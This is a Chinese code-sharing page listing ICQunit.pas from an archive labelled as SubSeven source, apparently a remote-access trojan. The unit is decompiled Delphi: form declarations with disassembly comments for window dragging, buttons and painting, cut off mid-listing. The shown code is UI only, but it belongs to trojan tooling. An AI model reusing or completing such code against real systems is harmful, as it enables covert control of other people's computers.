开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
ICQunit.pas
资源名称：subseven_src.zip　[点击查看]
上传用户：gdszzsp
上传日期：2007-01-08
资源大小：621k
文件大小：46k
源码类别：

远程控制编程

开发平台：

Delphi

ICQunit.pas：源码内容
  1. unit ICQunit;
  3. interface
  5. uses
  6.   Windows, Messages, SysUtils, Classes, Graphics,
  7.   Controls, Forms, Dialogs, ExtCtrls, StdCtrls;
  9. type
  10.   TICQForm=class(TForm)
  11.     Simbol: TToolbarButton97;
  12.     Shape2: TShape;
  13.     CaptionLabel: TLabel;
  14.     CloseButton: TFlatSpeedButton;
  15.     Label1: TLabel;
  16.     Shape1: TShape;
  17.     Label4: TLabel;
  18.     Label2: TLabel;
  19.     Label5: TLabel;
  20.     Label3: TLabel;
  21.     Label6: TLabel;
  22.     Shape3: TShape;
  23.     Label7: TLabel;
  24.     Button1: TOutlookBtn;
  25.     Button2: TOutlookBtn;
  26.     Button3: TOutlookBtn;
  27.     OutlookBtn1: TOutlookBtn;
  28.     hBox: TMemo;
  29.     Memo1: TMemo;
  30.     ImageList1: TImageList;
  31.     SaveDialog1: TSaveDialog;
  32.     procedure Button1Click(Sender: TObject);
  33.     procedure Button2Click(Sender: TObject);
  34.     procedure Button3Click(Sender: TObject);
  35.     procedure CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  36.     procedure CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  37.     procedure CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  38.     procedure CloseButtonClick(Sender: TObject);
  39.     procedure FormCreate(Sender: TObject);
  40.     procedure FormPaint(Sender: TObject);
  41.     procedure FormResize(Sender: TObject);
  42.     procedure OutlookBtn1Click(Sender: TObject);
  43.   private
  44.     { Private declarations }
  45.   public
  46.     { Public declarations }
  47.   end ;
  49. var
  50.   ICQForm: TICQForm;
  53. {This file is generated by DeDe v2.34 (c) 1999 by DaFixer}
  55. implementation
  57. {$R *.DFM}
  60. procedure TICQForm.Button1Click(Sender: TObject);
  61. begin
  62. {
  63. 004DA47C   FF0DA0735400           dec     dword ptr [$5473A0]
  64. 004DA482   E80D000000             call    004DA494
  65. 004DA487   C3                     ret
  68. }
  69.  end ; 
  71. procedure TICQForm.Button2Click(Sender: TObject);
  72. begin
  73. {
  74. 004DA488   FF05A0735400           inc     dword ptr [$5473A0]
  75. 004DA48E   E801000000             call    004DA494
  76. 004DA493   C3                     ret
  79. }
  80.  end ; 
  82. procedure TICQForm.Button3Click(Sender: TObject);
  83. begin
  84. {
  85. 004DA474   E80356F7FF             call    0044FA7C
  86. 004DA479   C3                     ret
  89. }
  90.  end ; 
  92. procedure TICQForm.CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  93. begin
  94. {
  95. 004DA394   55                     push    ebp
  96. 004DA395   8BEC                   mov     ebp, esp
  97. 004DA397   53                     push    ebx
  98. 004DA398   8BD8                   mov     ebx, eax
  99. 004DA39A   8B83C4020000           mov     eax, [ebx+$02C4]
  100. 004DA3A0   8B4024                 mov     eax, [eax+$24]
  101. 004DA3A3   E83421F6FF             call    0043C4DC
  102. 004DA3A8   50                     push    eax
  104. * Reference to: SHBrowseForFolderA.SetCapture
  105. |
  106. 004DA3A9   E8CAD4F2FF             call    00407878
  107. 004DA3AE   C78320030000FFFFFFFF   mov     dword ptr [ebx+$0320], $FFFFFFFF
  108. 004DA3B8   8B450C                 mov     eax, [ebp+$0C]
  109. 004DA3BB   898318030000           mov     [ebx+$0318], eax
  110. 004DA3C1   8B4508                 mov     eax, [ebp+$08]
  111. 004DA3C4   89831C030000           mov     [ebx+$031C], eax
  112. 004DA3CA   5B                     pop     ebx
  113. 004DA3CB   5D                     pop     ebp
  114. 004DA3CC   C20C                   ret     $0C
  117. }
  118.  end ; 
  120. procedure TICQForm.CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  121. begin
  122. {
  123. 004DA3D0   55                     push    ebp
  124. 004DA3D1   8BEC                   mov     ebp, esp
  125. 004DA3D3   53                     push    ebx
  126. 004DA3D4   56                     push    esi
  127. 004DA3D5   8BD8                   mov     ebx, eax
  128. 004DA3D7   83BB2003000000         cmp     dword ptr [ebx+$0320], +$00
  129. 004DA3DE   7433                   jz      004DA413
  130. 004DA3E0   8B83C4020000           mov     eax, [ebx+$02C4]
  131. 004DA3E6   8B7024                 mov     esi, [eax+$24]
  132. 004DA3E9   8B8318030000           mov     eax, [ebx+$0318]
  133. 004DA3EF   2B450C                 sub     eax, dword ptr [ebp+$0C]
  134. 004DA3F2   8B5630                 mov     edx, [esi+$30]
  135. 004DA3F5   2BD0                   sub     edx, eax
  136. 004DA3F7   8BC6                   mov     eax, esi
  137. 004DA3F9   E8AEBAF5FF             call    00435EAC
  138. 004DA3FE   8B831C030000           mov     eax, [ebx+$031C]
  139. 004DA404   2B4508                 sub     eax, dword ptr [ebp+$08]
  140. 004DA407   8B5634                 mov     edx, [esi+$34]
  141. 004DA40A   2BD0                   sub     edx, eax
  142. 004DA40C   8BC6                   mov     eax, esi
  143. 004DA40E   E8BDBAF5FF             call    00435ED0
  144. 004DA413   5E                     pop     esi
  145. 004DA414   5B                     pop     ebx
  146. 004DA415   5D                     pop     ebp
  147. 004DA416   C208                   ret     $08
  150. }
  151.  end ; 
  153. procedure TICQForm.CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  154. begin
  155. {
  156. 004DA41C   55                     push    ebp
  157. 004DA41D   8BEC                   mov     ebp, esp
  158. 004DA41F   53                     push    ebx
  159. 004DA420   56                     push    esi
  160. 004DA421   8BD8                   mov     ebx, eax
  161. 004DA423   83BB2003000000         cmp     dword ptr [ebx+$0320], +$00
  162. 004DA42A   7440                   jz      004DA46C
  163. 004DA42C   8B83C4020000           mov     eax, [ebx+$02C4]
  164. 004DA432   8B7024                 mov     esi, [eax+$24]
  166. * Reference to: SHBrowseForFolderA.ReleaseCapture
  167. |
  168. 004DA435   E8EED3F2FF             call    00407828
  169. 004DA43A   33C0                   xor     eax, eax
  170. 004DA43C   898320030000           mov     [ebx+$0320], eax
  171. 004DA442   8B8318030000           mov     eax, [ebx+$0318]
  172. 004DA448   2B450C                 sub     eax, dword ptr [ebp+$0C]
  173. 004DA44B   8B5630                 mov     edx, [esi+$30]
  174. 004DA44E   2BD0                   sub     edx, eax
  175. 004DA450   8BC6                   mov     eax, esi
  176. 004DA452   E855BAF5FF             call    00435EAC
  177. 004DA457   8B831C030000           mov     eax, [ebx+$031C]
  178. 004DA45D   2B4508                 sub     eax, dword ptr [ebp+$08]
  179. 004DA460   8B5634                 mov     edx, [esi+$34]
  180. 004DA463   2BD0                   sub     edx, eax
  181. 004DA465   8BC6                   mov     eax, esi
  182. 004DA467   E864BAF5FF             call    00435ED0
  183. 004DA46C   5E                     pop     esi
  184. 004DA46D   5B                     pop     ebx
  185. 004DA46E   5D                     pop     ebp
  186. 004DA46F   C20C                   ret     $0C
  189. }
  190.  end ; 
  192. procedure TICQForm.CloseButtonClick(Sender: TObject);
  193. begin
  194. {
  195. 004DA38C   E8EB56F7FF             call    0044FA7C
  196. 004DA391   C3                     ret
  199. }
  200.  end ; 
  202. procedure TICQForm.FormCreate(Sender: TObject);
  203. begin
  204. {
  205. 004DA100   55                     push    ebp
  206. 004DA101   8BEC                   mov     ebp, esp
  207. 004DA103   6A00                   push    $00
  208. 004DA105   6A00                   push    $00
  209. 004DA107   53                     push    ebx
  210. 004DA108   56                     push    esi
  211. 004DA109   8BD8                   mov     ebx, eax
  212. 004DA10B   8B35DC495400           mov     esi, [$5449DC]
  213. 004DA111   33C0                   xor     eax, eax
  214. 004DA113   55                     push    ebp
  215. 004DA114   684FA34D00             push    $004DA34F
  217. ***** TRY
  218. |
  219. 004DA119   64FF30                 push    dword ptr fs:[eax]
  220. 004DA11C   648920                 mov     fs:[eax], esp
  221. 004DA11F   33D2                   xor     edx, edx
  222. 004DA121   8B83FC020000           mov     eax, [ebx+$02FC]
  223. 004DA127   8B08                   mov     ecx, [eax]
  224. 004DA129   FF5160                 call    dword ptr [ecx+$60]
  225. 004DA12C   33D2                   xor     edx, edx
  226. 004DA12E   8B83F8020000           mov     eax, [ebx+$02F8]
  227. 004DA134   8B08                   mov     ecx, [eax]
  228. 004DA136   FF5160                 call    dword ptr [ecx+$60]
  229. 004DA139   C7430C05000000         mov     dword ptr [ebx+$0C], $00000005
  230. 004DA140   A1B44E5400             mov     eax, dword ptr [$544EB4]
  231. 004DA145   8B00                   mov     eax, [eax]
  232. 004DA147   E88068F7FF             call    004509CC
  233. 004DA14C   8BD0                   mov     edx, eax
  234. 004DA14E   2B5338                 sub     edx, dword ptr [ebx+$38]
  235. 004DA151   D1FA                   sar     edx, 1
  236. 004DA153   7903                   jns     004DA158
  237. 004DA155   83D200                 adc     edx, +$00
  238. 004DA158   8BC3                   mov     eax, ebx
  239. 004DA15A   E84DBDF5FF             call    00435EAC
  240. 004DA15F   A1B44E5400             mov     eax, dword ptr [$544EB4]
  241. 004DA164   8B00                   mov     eax, [eax]
  242. 004DA166   E85568F7FF             call    004509C0
  243. 004DA16B   8BD0                   mov     edx, eax
  244. 004DA16D   2B533C                 sub     edx, dword ptr [ebx+$3C]
  245. 004DA170   D1FA                   sar     edx, 1
  246. 004DA172   7903                   jns     004DA177
  247. 004DA174   83D200                 adc     edx, +$00
  248. 004DA177   8BC3                   mov     eax, ebx
  249. 004DA179   E852BDF5FF             call    00435ED0
  250. 004DA17E   8D55F8                 lea     edx, [ebp-$08]
  251. 004DA181   8B430C                 mov     eax, [ebx+$0C]
  252. 004DA184   E8E3ECF2FF             call    00408E6C
  253. 004DA189   8D45F8                 lea     eax, [ebp-$08]
  255. * Possible String Reference to: "_x"
  256. |
  257. 004DA18C   BA64A34D00             mov     edx, $004DA364
  258. 004DA191   E84A9DF2FF             call    00403EE0
  259. 004DA196   8B55F8                 mov     edx, [ebp-$08]
  260. 004DA199   8D4DFC                 lea     ecx, [ebp-$04]
  261. 004DA19C   8B06                   mov     eax, [esi]
  262. 004DA19E   E8D18A0300             call    00512C74
  263. 004DA1A3   837DFC00               cmp     dword ptr [ebp-$04], +$00
  264. 004DA1A7   7436                   jz      004DA1DF
  265. 004DA1A9   8D55F8                 lea     edx, [ebp-$08]
  266. 004DA1AC   8B430C                 mov     eax, [ebx+$0C]
  267. 004DA1AF   E8B8ECF2FF             call    00408E6C
  268. 004DA1B4   8D45F8                 lea     eax, [ebp-$08]
  270. * Possible String Reference to: "_x"
  271. |
  272. 004DA1B7   BA64A34D00             mov     edx, $004DA364
  273. 004DA1BC   E81F9DF2FF             call    00403EE0
  274. 004DA1C1   8B55F8                 mov     edx, [ebp-$08]
  275. 004DA1C4   8D4DFC                 lea     ecx, [ebp-$04]
  276. 004DA1C7   8B06                   mov     eax, [esi]
  277. 004DA1C9   E8A68A0300             call    00512C74
  278. 004DA1CE   8B45FC                 mov     eax, [ebp-$04]
  279. 004DA1D1   E8FAECF2FF             call    00408ED0
  280. 004DA1D6   8BD0                   mov     edx, eax
  281. 004DA1D8   8BC3                   mov     eax, ebx
  282. 004DA1DA   E8CDBCF5FF             call    00435EAC
  283. 004DA1DF   8D55F8                 lea     edx, [ebp-$08]
  284. 004DA1E2   8B430C                 mov     eax, [ebx+$0C]
  285. 004DA1E5   E882ECF2FF             call    00408E6C
  286. 004DA1EA   8D45F8                 lea     eax, [ebp-$08]
  288. * Possible String Reference to: "_y"
  289. |
  290. 004DA1ED   BA70A34D00             mov     edx, $004DA370
  291. 004DA1F2   E8E99CF2FF             call    00403EE0
  292. 004DA1F7   8B55F8                 mov     edx, [ebp-$08]
  293. 004DA1FA   8D4DFC                 lea     ecx, [ebp-$04]
  294. 004DA1FD   8B06                   mov     eax, [esi]
  295. 004DA1FF   E8708A0300             call    00512C74
  296. 004DA204   837DFC00               cmp     dword ptr [ebp-$04], +$00
  297. 004DA208   7436                   jz      004DA240
  298. 004DA20A   8D55F8                 lea     edx, [ebp-$08]
  299. 004DA20D   8B430C                 mov     eax, [ebx+$0C]
  300. 004DA210   E857ECF2FF             call    00408E6C
  301. 004DA215   8D45F8                 lea     eax, [ebp-$08]
  303. * Possible String Reference to: "_y"
  304. |
  305. 004DA218   BA70A34D00             mov     edx, $004DA370
  306. 004DA21D   E8BE9CF2FF             call    00403EE0
  307. 004DA222   8B55F8                 mov     edx, [ebp-$08]
  308. 004DA225   8D4DFC                 lea     ecx, [ebp-$04]
  309. 004DA228   8B06                   mov     eax, [esi]
  310. 004DA22A   E8458A0300             call    00512C74
  311. 004DA22F   8B45FC                 mov     eax, [ebp-$04]
  312. 004DA232   E899ECF2FF             call    00408ED0
  313. 004DA237   8BD0                   mov     edx, eax
  314. 004DA239   8BC3                   mov     eax, ebx
  315. 004DA23B   E890BCF5FF             call    00435ED0
  316. 004DA240   8D55F8                 lea     edx, [ebp-$08]
  317. 004DA243   8B430C                 mov     eax, [ebx+$0C]
  318. 004DA246   E821ECF2FF             call    00408E6C
  319. 004DA24B   8D45F8                 lea     eax, [ebp-$08]
  321. * Possible String Reference to: "_h"
  322. |
  323. 004DA24E   BA7CA34D00             mov     edx, $004DA37C
  324. 004DA253   E8889CF2FF             call    00403EE0
  325. 004DA258   8B55F8                 mov     edx, [ebp-$08]
  326. 004DA25B   8D4DFC                 lea     ecx, [ebp-$04]
  327. 004DA25E   8B06                   mov     eax, [esi]
  328. 004DA260   E80F8A0300             call    00512C74
  329. 004DA265   837DFC00               cmp     dword ptr [ebp-$04], +$00
  330. 004DA269   7436                   jz      004DA2A1
  331. 004DA26B   8D55F8                 lea     edx, [ebp-$08]
  332. 004DA26E   8B430C                 mov     eax, [ebx+$0C]
  333. 004DA271   E8F6EBF2FF             call    00408E6C
  334. 004DA276   8D45F8                 lea     eax, [ebp-$08]
  336. * Possible String Reference to: "_h"
  337. |
  338. 004DA279   BA7CA34D00             mov     edx, $004DA37C
  339. 004DA27E   E85D9CF2FF             call    00403EE0
  340. 004DA283   8B55F8                 mov     edx, [ebp-$08]
  341. 004DA286   8D4DFC                 lea     ecx, [ebp-$04]
  342. 004DA289   8B06                   mov     eax, [esi]
  343. 004DA28B   E8E4890300             call    00512C74
  344. 004DA290   8B45FC                 mov     eax, [ebp-$04]
  345. 004DA293   E838ECF2FF             call    00408ED0
  346. 004DA298   8BD0                   mov     edx, eax
  347. 004DA29A   8BC3                   mov     eax, ebx
  348. 004DA29C   E87BBCF5FF             call    00435F1C
  349. 004DA2A1   8D55F8                 lea     edx, [ebp-$08]
  350. 004DA2A4   8B430C                 mov     eax, [ebx+$0C]
  351. 004DA2A7   E8C0EBF2FF             call    00408E6C
  352. 004DA2AC   8D45F8                 lea     eax, [ebp-$08]
  354. * Possible String Reference to: "_w"
  355. |
  356. 004DA2AF   BA88A34D00             mov     edx, $004DA388
  357. 004DA2B4   E8279CF2FF             call    00403EE0
  358. 004DA2B9   8B55F8                 mov     edx, [ebp-$08]
  359. 004DA2BC   8D4DFC                 lea     ecx, [ebp-$04]
  360. 004DA2BF   8B06                   mov     eax, [esi]
  361. 004DA2C1   E8AE890300             call    00512C74
  362. 004DA2C6   837DFC00               cmp     dword ptr [ebp-$04], +$00
  363. 004DA2CA   7436                   jz      004DA302
  364. 004DA2CC   8D55F8                 lea     edx, [ebp-$08]
  365. 004DA2CF   8B430C                 mov     eax, [ebx+$0C]
  366. 004DA2D2   E895EBF2FF             call    00408E6C
  367. 004DA2D7   8D45F8                 lea     eax, [ebp-$08]
  369. * Possible String Reference to: "_w"
  370. |
  371. 004DA2DA   BA88A34D00             mov     edx, $004DA388
  372. 004DA2DF   E8FC9BF2FF             call    00403EE0
  373. 004DA2E4   8B55F8                 mov     edx, [ebp-$08]
  374. 004DA2E7   8D4DFC                 lea     ecx, [ebp-$04]
  375. 004DA2EA   8B06                   mov     eax, [esi]
  376. 004DA2EC   E883890300             call    00512C74
  377. 004DA2F1   8B45FC                 mov     eax, [ebp-$04]
  378. 004DA2F4   E8D7EBF2FF             call    00408ED0
  379. 004DA2F9   8BD0                   mov     edx, eax
  380. 004DA2FB   8BC3                   mov     eax, ebx
  381. 004DA2FD   E8F6BBF5FF             call    00435EF8
  382. 004DA302   68FA000000             push    $000000FA
  383. 004DA307   B898735400             mov     eax, $00547398
  384. 004DA30C   B901000000             mov     ecx, $00000001
  385. 004DA311   8B15449C4D00           mov     edx, [$4D9C44]
  386. 004DA317   E820B5F2FF             call    0040583C
  387. 004DA31C   83C404                 add     esp, +$04
  388. 004DA31F   33C0                   xor     eax, eax
  389. 004DA321   A39C735400             mov     dword ptr [$54739C], eax
  390. 004DA326   33C0                   xor     eax, eax
  391. 004DA328   A3A0735400             mov     dword ptr [$5473A0], eax
  392. 004DA32D   8BC3                   mov     eax, ebx
  393. 004DA32F   E88CFBFFFF             call    004D9EC0
  394. 004DA334   33C0                   xor     eax, eax
  395. 004DA336   5A                     pop     edx
  396. 004DA337   59                     pop     ecx
  397. 004DA338   59                     pop     ecx
  398. 004DA339   648910                 mov     fs:[eax], edx
  400. ****** FINALLY
  401. |
  402. 004DA33C   6856A34D00             push    $004DA356
  403. 004DA341   8D45F8                 lea     eax, [ebp-$08]
  404. 004DA344   BA02000000             mov     edx, $00000002
  405. 004DA349   E83299F2FF             call    00403C80
  406. 004DA34E   C3                     ret
  408. 004DA34F   E90C93F2FF             jmp     00403660
  409. 004DA354   EBEB                   jmp     004DA341
  411. ****** END
  412. |
  413. 004DA356   5E                     pop     esi
  414. 004DA357   5B                     pop     ebx
  415. 004DA358   59                     pop     ecx
  416. 004DA359   59                     pop     ecx
  417. 004DA35A   5D                     pop     ebp
  418. 004DA35B   C3                     ret
  421. }
  422.  end ; 
  424. procedure TICQForm.FormPaint(Sender: TObject);
  425. begin
  426. {
  427. 004DAF04   53                     push    ebx
  428. 004DAF05   56                     push    esi
  429. 004DAF06   57                     push    edi
  430. 004DAF07   55                     push    ebp
  431. 004DAF08   83C4E0                 add     esp, -$20
  432. 004DAF0B   8BD8                   mov     ebx, eax
  433. 004DAF0D   8B2DDC495400           mov     ebp, [$5449DC]
  434. 004DAF13   8B733C                 mov     esi, [ebx+$3C]
  435. 004DAF16   83EE05                 sub     esi, +$05
  436. 004DAF19   83EE18                 sub     esi, +$18
  437. 004DAF1C   7C5D                   jl      004DAF7B
  438. 004DAF1E   46                     inc     esi
  439. 004DAF1F   BF18000000             mov     edi, $00000018
  440. 004DAF24   6A01                   push    $01
  441. 004DAF26   8D442404               lea     eax, [esp+$04]
  442. 004DAF2A   50                     push    eax
  443. 004DAF2B   B904000000             mov     ecx, $00000004
  444. 004DAF30   BA1A000000             mov     edx, $0000001A
  445. 004DAF35   B801000000             mov     eax, $00000001
  446. 004DAF3A   E8015AF3FF             call    00410940
  447. 004DAF3F   54                     push    esp
  448. 004DAF40   6A01                   push    $01
  449. 004DAF42   8D442418               lea     eax, [esp+$18]
  450. 004DAF46   50                     push    eax
  451. 004DAF47   B904000000             mov     ecx, $00000004
  452. 004DAF4C   8BD7                   mov     edx, edi
  453. 004DAF4E   33C0                   xor     eax, eax
  454. 004DAF50   E8EB59F3FF             call    00410940
  455. 004DAF55   8D442414               lea     eax, [esp+$14]
  456. 004DAF59   50                     push    eax
  457. 004DAF5A   8B4500                 mov     eax, [ebp+$00]
  458. 004DAF5D   8B80E80A0000           mov     eax, [eax+$0AE8]
  459. 004DAF63   E82884F4FF             call    00423390
  460. 004DAF68   50                     push    eax
  461. 004DAF69   8BC3                   mov     eax, ebx
  462. 004DAF6B   E89025F7FF             call    0044D500
  463. 004DAF70   59                     pop     ecx
  464. 004DAF71   5A                     pop     edx
  465. 004DAF72   E8D530F4FF             call    0041E04C
  466. 004DAF77   47                     inc     edi
  467. 004DAF78   4E                     dec     esi
  468. 004DAF79   75A9                   jnz     004DAF24
  469. 004DAF7B   8B733C                 mov     esi, [ebx+$3C]
  470. 004DAF7E   83EE05                 sub     esi, +$05
  471. 004DAF81   83EE18                 sub     esi, +$18
  472. 004DAF84   7C61                   jl      004DAFE7
  473. 004DAF86   46                     inc     esi
  474. 004DAF87   BF18000000             mov     edi, $00000018
  475. 004DAF8C   6A01                   push    $01
  476. 004DAF8E   8D442404               lea     eax, [esp+$04]
  477. 004DAF92   50                     push    eax
  478. 004DAF93   B904000000             mov     ecx, $00000004
  479. 004DAF98   BA1A000000             mov     edx, $0000001A
  480. 004DAF9D   B830000000             mov     eax, $00000030
  481. 004DAFA2   E89959F3FF             call    00410940
  482. 004DAFA7   54                     push    esp
  483. 004DAFA8   6A01                   push    $01
  484. 004DAFAA   8D442418               lea     eax, [esp+$18]
  485. 004DAFAE   50                     push    eax
  486. 004DAFAF   8B4338                 mov     eax, [ebx+$38]
  487. 004DAFB2   83E804                 sub     eax, +$04
  488. 004DAFB5   B904000000             mov     ecx, $00000004
  489. 004DAFBA   8BD7                   mov     edx, edi
  490. 004DAFBC   E87F59F3FF             call    00410940
  491. 004DAFC1   8D442414               lea     eax, [esp+$14]
  492. 004DAFC5   50                     push    eax
  493. 004DAFC6   8B4500                 mov     eax, [ebp+$00]
  494. 004DAFC9   8B80E80A0000           mov     eax, [eax+$0AE8]
  495. 004DAFCF   E8BC83F4FF             call    00423390
  496. 004DAFD4   50                     push    eax
  497. 004DAFD5   8BC3                   mov     eax, ebx
  498. 004DAFD7   E82425F7FF             call    0044D500
  499. 004DAFDC   59                     pop     ecx
  500. 004DAFDD   5A                     pop     edx
  501. 004DAFDE   E86930F4FF             call    0041E04C
  502. 004DAFE3   47                     inc     edi
  503. 004DAFE4   4E                     dec     esi
  504. 004DAFE5   75A5                   jnz     004DAF8C
  505. 004DAFE7   8B7338                 mov     esi, [ebx+$38]
  506. 004DAFEA   83EE18                 sub     esi, +$18
  507. 004DAFED   83EE18                 sub     esi, +$18
  508. 004DAFF0   7C5D                   jl      004DB04F
  509. 004DAFF2   46                     inc     esi
  510. 004DAFF3   BF18000000             mov     edi, $00000018
  511. 004DAFF8   6A18                   push    $18
  512. 004DAFFA   8D442404               lea     eax, [esp+$04]
  513. 004DAFFE   50                     push    eax
  514. 004DAFFF   B901000000             mov     ecx, $00000001
  515. 004DB004   BA01000000             mov     edx, $00000001
  516. 004DB009   B81A000000             mov     eax, $0000001A
  517. 004DB00E   E82D59F3FF             call    00410940
  518. 004DB013   54                     push    esp
  519. 004DB014   6A18                   push    $18
  520. 004DB016   8D442418               lea     eax, [esp+$18]
  521. 004DB01A   50                     push    eax
  522. 004DB01B   B901000000             mov     ecx, $00000001
  523. 004DB020   33D2                   xor     edx, edx
  524. 004DB022   8BC7                   mov     eax, edi
  525. 004DB024   E81759F3FF             call    00410940
  526. 004DB029   8D442414               lea     eax, [esp+$14]
  527. 004DB02D   50                     push    eax
  528. 004DB02E   8B4500                 mov     eax, [ebp+$00]
  529. 004DB031   8B80E80A0000           mov     eax, [eax+$0AE8]
  530. 004DB037   E85483F4FF             call    00423390
  531. 004DB03C   50                     push    eax
  532. 004DB03D   8BC3                   mov     eax, ebx
  533. 004DB03F   E8BC24F7FF             call    0044D500
  534. 004DB044   59                     pop     ecx
  535. 004DB045   5A                     pop     edx
  536. 004DB046   E80130F4FF             call    0041E04C
  537. 004DB04B   47                     inc     edi
  538. 004DB04C   4E                     dec     esi
  539. 004DB04D   75A9                   jnz     004DAFF8
  540. 004DB04F   8B7338                 mov     esi, [ebx+$38]
  541. 004DB052   83EE04                 sub     esi, +$04
  542. 004DB055   83EE04                 sub     esi, +$04
  543. 004DB058   7C61                   jl      004DB0BB
  544. 004DB05A   46                     inc     esi
  545. 004DB05B   BF04000000             mov     edi, $00000004
  546. 004DB060   6A04                   push    $04
  547. 004DB062   8D442404               lea     eax, [esp+$04]
  548. 004DB066   50                     push    eax
  549. 004DB067   B901000000             mov     ecx, $00000001
  550. 004DB06C   BA1C000000             mov     edx, $0000001C
  551. 004DB071   B81A000000             mov     eax, $0000001A
  552. 004DB076   E8C558F3FF             call    00410940
  553. 004DB07B   54                     push    esp
  554. 004DB07C   6A04                   push    $04
  555. 004DB07E   8D442418               lea     eax, [esp+$18]
  556. 004DB082   50                     push    eax
  557. 004DB083   8B533C                 mov     edx, [ebx+$3C]
  558. 004DB086   83EA04                 sub     edx, +$04
  559. 004DB089   B901000000             mov     ecx, $00000001
  560. 004DB08E   8BC7                   mov     eax, edi
  561. 004DB090   E8AB58F3FF             call    00410940
  562. 004DB095   8D442414               lea     eax, [esp+$14]
  563. 004DB099   50                     push    eax
  564. 004DB09A   8B4500                 mov     eax, [ebp+$00]
  565. 004DB09D   8B80E80A0000           mov     eax, [eax+$0AE8]
  566. 004DB0A3   E8E882F4FF             call    00423390
  567. 004DB0A8   50                     push    eax
  568. 004DB0A9   8BC3                   mov     eax, ebx
  569. 004DB0AB   E85024F7FF             call    0044D500
  570. 004DB0B0   59                     pop     ecx
  571. 004DB0B1   5A                     pop     edx
  572. 004DB0B2   E8952FF4FF             call    0041E04C
  573. 004DB0B7   47                     inc     edi
  574. 004DB0B8   4E                     dec     esi
  575. 004DB0B9   75A5                   jnz     004DB060
  576. 004DB0BB   6A18                   push    $18
  577. 004DB0BD   8D442404               lea     eax, [esp+$04]
  578. 004DB0C1   50                     push    eax
  579. 004DB0C2   B918000000             mov     ecx, $00000018
  580. 004DB0C7   BA01000000             mov     edx, $00000001
  581. 004DB0CC   B801000000             mov     eax, $00000001
  582. 004DB0D1   E86A58F3FF             call    00410940
  583. 004DB0D6   54                     push    esp
  584. 004DB0D7   6A18                   push    $18
  585. 004DB0D9   8D442418               lea     eax, [esp+$18]
  586. 004DB0DD   50                     push    eax
  587. 004DB0DE   B918000000             mov     ecx, $00000018
  588. 004DB0E3   33D2                   xor     edx, edx
  589. 004DB0E5   33C0                   xor     eax, eax
  590. 004DB0E7   E85458F3FF             call    00410940
  591. 004DB0EC   8D442414               lea     eax, [esp+$14]
  592. 004DB0F0   50                     push    eax
  593. 004DB0F1   8B4500                 mov     eax, [ebp+$00]
  594. 004DB0F4   8B80E80A0000           mov     eax, [eax+$0AE8]
  595. 004DB0FA   E89182F4FF             call    00423390
  596. 004DB0FF   50                     push    eax
  597. 004DB100   8BC3                   mov     eax, ebx
  598. 004DB102   E8F923F7FF             call    0044D500
  599. 004DB107   59                     pop     ecx
  600. 004DB108   5A                     pop     edx
  601. 004DB109   E83E2FF4FF             call    0041E04C
  602. 004DB10E   6A18                   push    $18
  603. 004DB110   8D442404               lea     eax, [esp+$04]
  604. 004DB114   50                     push    eax
  605. 004DB115   B918000000             mov     ecx, $00000018
  606. 004DB11A   BA01000000             mov     edx, $00000001
  607. 004DB11F   B81C000000             mov     eax, $0000001C
  608. 004DB124   E81758F3FF             call    00410940
  609. 004DB129   54                     push    esp
  610. 004DB12A   6A18                   push    $18
  611. 004DB12C   8D442418               lea     eax, [esp+$18]
  612. 004DB130   50                     push    eax
  613. 004DB131   8B4338                 mov     eax, [ebx+$38]
  614. 004DB134   83E818                 sub     eax, +$18
  615. 004DB137   B918000000             mov     ecx, $00000018
  616. 004DB13C   33D2                   xor     edx, edx
  617. 004DB13E   E8FD57F3FF             call    00410940
  618. 004DB143   8D442414               lea     eax, [esp+$14]
  619. 004DB147   50                     push    eax
  620. 004DB148   8B4500                 mov     eax, [ebp+$00]
  621. 004DB14B   8B80E80A0000           mov     eax, [eax+$0AE8]
  622. 004DB151   E83A82F4FF             call    00423390
  623. 004DB156   50                     push    eax
  624. 004DB157   8BC3                   mov     eax, ebx
  625. 004DB159   E8A223F7FF             call    0044D500
  626. 004DB15E   59                     pop     ecx
  627. 004DB15F   5A                     pop     edx
  628. 004DB160   E8E72EF4FF             call    0041E04C
  629. 004DB165   6A04                   push    $04
  630. 004DB167   8D442404               lea     eax, [esp+$04]
  631. 004DB16B   50                     push    eax
  632. 004DB16C   B904000000             mov     ecx, $00000004
  633. 004DB171   BA1C000000             mov     edx, $0000001C
  634. 004DB176   B801000000             mov     eax, $00000001
  635. 004DB17B   E8C057F3FF             call    00410940
  636. 004DB180   54                     push    esp
  637. 004DB181   6A04                   push    $04
  638. 004DB183   8D442418               lea     eax, [esp+$18]
  639. 004DB187   50                     push    eax
  640. 004DB188   8B533C                 mov     edx, [ebx+$3C]
  641. 004DB18B   83EA04                 sub     edx, +$04
  642. 004DB18E   B904000000             mov     ecx, $00000004
  643. 004DB193   33C0                   xor     eax, eax
  644. 004DB195   E8A657F3FF             call    00410940
  645. 004DB19A   8D442414               lea     eax, [esp+$14]
  646. 004DB19E   50                     push    eax
  647. 004DB19F   8B4500                 mov     eax, [ebp+$00]
  648. 004DB1A2   8B80E80A0000           mov     eax, [eax+$0AE8]
  649. 004DB1A8   E8E381F4FF             call    00423390
  650. 004DB1AD   50                     push    eax
  651. 004DB1AE   8BC3                   mov     eax, ebx
  652. 004DB1B0   E84B23F7FF             call    0044D500
  653. 004DB1B5   59                     pop     ecx
  654. 004DB1B6   5A                     pop     edx
  655. 004DB1B7   E8902EF4FF             call    0041E04C
  656. 004DB1BC   6A04                   push    $04
  657. 004DB1BE   8D442404               lea     eax, [esp+$04]
  658. 004DB1C2   50                     push    eax
  659. 004DB1C3   B904000000             mov     ecx, $00000004
  660. 004DB1C8   BA1C000000             mov     edx, $0000001C
  661. 004DB1CD   B830000000             mov     eax, $00000030
  662. 004DB1D2   E86957F3FF             call    00410940
  663. 004DB1D7   54                     push    esp
  664. 004DB1D8   6A04                   push    $04
